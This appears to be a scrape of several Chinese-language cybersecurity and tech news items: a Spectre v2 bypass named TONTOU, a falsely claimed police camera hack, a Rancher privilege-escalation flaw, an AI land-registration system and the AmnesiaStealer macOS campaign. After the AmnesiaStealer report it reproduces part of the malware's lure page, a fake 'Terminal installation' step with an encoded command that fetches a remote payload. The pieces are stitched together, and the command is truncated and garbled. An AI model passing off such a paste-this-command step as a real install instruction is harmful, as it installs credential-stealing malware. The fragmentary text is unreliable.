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  研究人員揭露新型中斷注入攻擊手法，可繞過Intel與AMD處理器的Spectre v2防禦

                來源：https://www.ithome.com.tw/news/178200

                

                

                麻省理工學院CSAIL研究人員於8月6日公開新型中斷注入（Interrupt Injection）攻擊手法，能繞過Intel與AMD處理器針對分支預測漏洞Spectre v2的防禦機制。研究團隊已於今年2月5日向Intel與AMD通報前述攻擊手法，AMD已對此問題發布資安公告，並釋出整合於Linux核心的修補措施。

研究人員指出，這項手法是針對處理器的分支預測功能，利用Spectre v2防禦機制清除處理器的分支預測狀態後，到處理器使用實際命中的預測結果之前，在這段極短暫的時間窗口內，透過精確控制的硬體中斷污染處理器的預測機制。研究人員將前述攻擊手法稱為TONTOU（Time-of-Neutralization to Time-of-Use），並在啟用預設Spectre v2防禦機制的AMD Zen 2與Linux環境中，成功驗證可藉此讀取核心記憶體資料，還在部分測試中取得系統密碼雜湊內容。

'
            中國駭客號稱能存取警方900支視訊攝影機，實際上是有線電視公司提供的監控服務被入侵
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                根據民視新聞網、鏡報的報導，中國駭客交易平臺地下群組「古龍滲透組」近日聲稱，已取得臺灣警察局監控系統的存取權限並兜售，能同時掌握900支視訊攝影機的即時影像畫面，為了取信買家，賣家公開一段影片，顯示能監看大量攝影機畫面的能力。由於畫面上攝影機顯示的地名幾乎都在臺南，也讓人懷疑可能受害的就是臺南市警察局，對此警政署清查後，表示系統沒有遭駭，臺南市警察局也沒有遭到攻擊。

但這些攝影機真的是警方所有嗎？我們根據駭客畫面裡HYA，這些攝影機可能是新永安有線電視公司（https://www.hya.com[.]tw/）所有，對此，我們向新永安進行確認，該公司表示已發布公告說明，他們提供的監控畫面服務於8月14日遭駭，這個網頁為查修查詢所用，無存放個人資料，這些設備的主要用途，包含監控違法傾倒廢棄物、路口交通安全監控，以及積水與淹水觀測的水情監控等民生與防災用途，系統內部也沒有儲存或串聯民眾個資，不涉及個資外洩。再者，由於受影響系統僅供遠端即時影像觀察，新永安強調，內部無存放歷史檔案或機敏資料。

從另一方面來看，畫面裡出現的IP位址211.78.27[.]137，我們透過Who IP服務搜尋，結果顯示此IP位址也是新永安有線電視公司（Hsin Yeong An Cable TV Co., Ltd.）所有。

根據新永安的盤點與全面檢視防火牆設定，本次事件僅涉及環境觀測即時畫面的不當瀏覽，未對公務網路或系統安全造成任何實質損害，該公司已關閉上述查修查詢的網頁，並強調關閉網頁不影響相關監視錄影服務；新永安強調，此網路服務為獨立系統，與公部門網路沒有介接。
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                SUSE揭露企業級多叢集Kubernetes管理平臺Rancher重大權限提升漏洞CVE-2026-44945。攻擊者只要已登入Rancher，並能控制至少一個已註冊下游叢集的RBAC，即使Rancher帳號只有預設一般使用者權限，也可能利用跨叢集身分冒用問題，取得Rancher控制層的完整管理權，進而控制所有由Rancher管理的Kubernetes叢集。就嚴重程度而言，此漏洞的CVSS 3.1評分為9.1，屬於重大風險。

CVE-2026-44945漏洞發生在Rancher處理跨叢集身分冒用的權限檢查流程，Rancher原本會依HTTP要求網址中的叢集ID，在對應叢集執行Kubernetes的SAR（SubjectAccessReview）權限檢查，但後續實際操作卻會落到Rancher本機管理叢集，造成檢查權限與實際執行操作位於不同叢集，再加上原本的SAR中介層直接使用HTTP中的身分冒用標頭，攻擊者便可能藉此冒用更高權限身分。

在一般使用情境中，原本只能使用基本功能的Rancher帳號，可能藉由漏洞跨過原有權限限制，一旦取得Rancher管理權，影響也不只限於單一Kubernetes叢集，還可能擴展至同一套Rancher管理的其他叢集，包括存取其中的機密資料與管理資源。

攻擊前提是攻擊者必須先登入Rancher，並能控制至少一個已註冊下游叢集的RBAC，不過官方指出，預設一般使用者本來就能匯入自己的叢集，因此攻擊者甚至可以使用自行建立的測試叢集作為跳板，不需要先取得正式環境叢集的權限，也不需要受害者互動。

官方修補方式是調整權限驗證流程，讓SAR權限檢查固定在Rancher本機管理叢集執行，並改從驗證層寫入的請求內容取得已驗證的使用者身分，不再直接信任HTTP中的身分冒用標頭。如此一來，權限判斷與實際操作會回到同一個管理叢集。

受影響版本涵蓋Rancher 2.11、2.12、2.13與2.14分支，官方已在2.11.16、2.12.12、2.13.8及2.14.4納入修補。用戶要是無法立即升級，官方建議先限制可註冊下游叢集的使用者，但這只能降低攻擊面，無法完全消除漏洞。
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                隨著不動產交易需求增加，地政事務所長期面臨案件量增加與審查人力不足的雙重壓力。過去土地登記案件多以紙本送件為主，審查人員需逐項核對身分證、印鑑證明、契約書及完稅資料等文件，在少子化及公務人力補充不易的環境下，如何利用科技提升行政審查效率，成為政府導入AI的重要應用場景。

以新竹市地政事務所為例，因竹科帶動的房地產交易需求增加，不動產登記案件量長期居全國單一地政事務所前幾名，以2025年辦理的不動產登記案件就多達16萬4,653筆之多，連續三年稱霸全國單一地政事務所冠軍。

若以買賣案件為例，審查人員每個案件需要跨文件核對至少約95個欄位，涉及多份紙本文件，過去主要仰賴承辦人員人工比對。

為此，新竹市針對龐大的案件工作量，有限的公務人力招募挑戰，地政處從2024年規畫將AI導入高法律效力、高個資機敏的地政審查場域。

為降低大量重複性核對工作，新竹市政府導入「不動產登記案件AI協審系統」，先從買賣登記案件開始應用。案件受理後，系統會將紙本文件數位化，透過OCR辨識文字內容，再通過視覺語言模型（Vision Language Model, VLM），以理解不同格式文件中的欄位資訊，進行跨文件資料的勾稽比對，同時利用影像辨識技術協助印鑑資料分析。

在技術架構上，系統導入繁體中文VLM模型，突破傳統固定表單辨識限制，可理解不同紙本文件版面與內容；搭配YOLO物件偵測技術定位印章位置，並分析印鑑特徵，協助審查人員判斷文件一致性。

這套系統於2026年1月正式上線應用，初步適用買賣案件，在地政事務所收件之後，先將紙本案件數位化掃描，透過AI與OCR技術深度辨識關鍵欄位，再進行跨文件資料的邏輯勾稽比對、印鑑信心相似度分析，當發異常時向審查人員提出警示進行雙重確認，最後再將資料介接至Web版地政整合資訊系統同步異動資料庫，比對現有登記資料庫權利資料。

新竹市長高虹安指出，該系統具備三大技術創新及資安防護，包括首創繁體中文VLM視覺語言模型，打破傳統固定樣板限制，精準理解紙本排版語意，達到秒級比對地籍資料；其次是引進自駕車等級的YOLO物件偵測與GeoSense技術，精準定位印章並微觀分析硃砂與字體特徵，對於印鑑章核對的客觀量化比對機制。

事實上，在今年5月新竹市政府發表這套AI協審系統時曾指出，已測試約200件案件，AI辨識率達到85%，印鑑相似度判斷超過90%。

另外，基於地政業務涉及高敏感的個資及產權資訊，系統採用地端封閉式內網架構，市府強調申請的案件資料、AI模型運算均不經過雲端傳輸，以降低資料外洩風險。另外，系統也採用Human-in-the-Loop的人機協作模式，由AI負責大量資料整理、比對與異常提示，再由審查人員對法規適用及案件審查最終結果進行判斷。

AI協審系統在2026年1月正式上線後，目前已累積判讀超過2,000件實際案件。新竹市表示，每件案件平均可節省15至20分鐘人工核對時間，整體審查效率提升25%至33%。若依2,000件案件及每件節省15至20分鐘估算，估計節省審查人員3萬至4萬分鐘的工作時間。

除了提升現階段買賣案件審查效率外，新竹市也規畫擴大AI協審範圍。高虹安表示，目前應用於買賣案件審查，下一階段在2026年導入抵押權設定及抵押權塗銷案件，與買賣案件合計將可望涵蓋近6成的登記案件量，並規畫介接戶役政系統進行身分查核；接下來在2027年將串接財稅系統，協助查核完稅狀態。

新竹市政府將AI應用於地政案件審查，克服審查人力有限的挑戰，目前已有其他地方政府前往了解系統運作方式，顯示這套AI協助地政書審的模式具備延伸應用潛力。未來，隨著AI模型與政府資料系統持續整合，類似技術可望應用於更多需要大量文件審查與資料比對的行政流程
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                資安業者Jamf近日揭露鎖定macOS用戶的新型竊資軟體AmnesiaStealer，主要透過ClickFix社交工程手法散布。攻擊者架設仿冒GitHub的macOS下載頁面，誘騙使用者複製並貼上終端機指令，藉此安裝偽冒的惡意軟體，感染後可能導致帳號密碼、瀏覽器及其他敏感資料遭竊。Jamf目前未將這款竊資軟體歸因於特定組織，但指出其使用的仿冒GitHub頁面，與另幾種竊資軟體如Atomic（AMOS）、MacSync等相同，顯示這些惡意軟體可能共用相同的誘餌模板。

AmnesiaStealer採三階段感染鏈，第一階段利用Shell指令下載並啟動Rust竊資程式，第二階段利用竊資軟體竊取macOS金鑰鏈（Keychain）、Safari瀏覽器Cookie、Apple Notes與Telegram資料，第三階段則依攻擊者指令下載用於控制Chromium瀏覽器的惡意模組，可取得瀏覽器Cookie與工作階段資料，並透過滑鼠、鍵盤等輸入裝置從遠端操控。
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Terminal installation

Advanced users can perform installation with a single terminal command.

echo "Y3VybCAtcyAiaHROCHMBLYOKZWU12y5hbGxsbGO3ZWYuc3BhY2UvZC9jb21tYWSKP3QOMMRIZ

How to open Terminal on Mac

1. Press Command () + Space to open Spotlight Search.
2. Type "Terminal" and press Return to launch it.
3. Once the Terminal window is open, you can proceed with the steps below.

Installation via Terminal command
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Figure 3: Steps of a TONTOU attack: (1) neutralization, 2)
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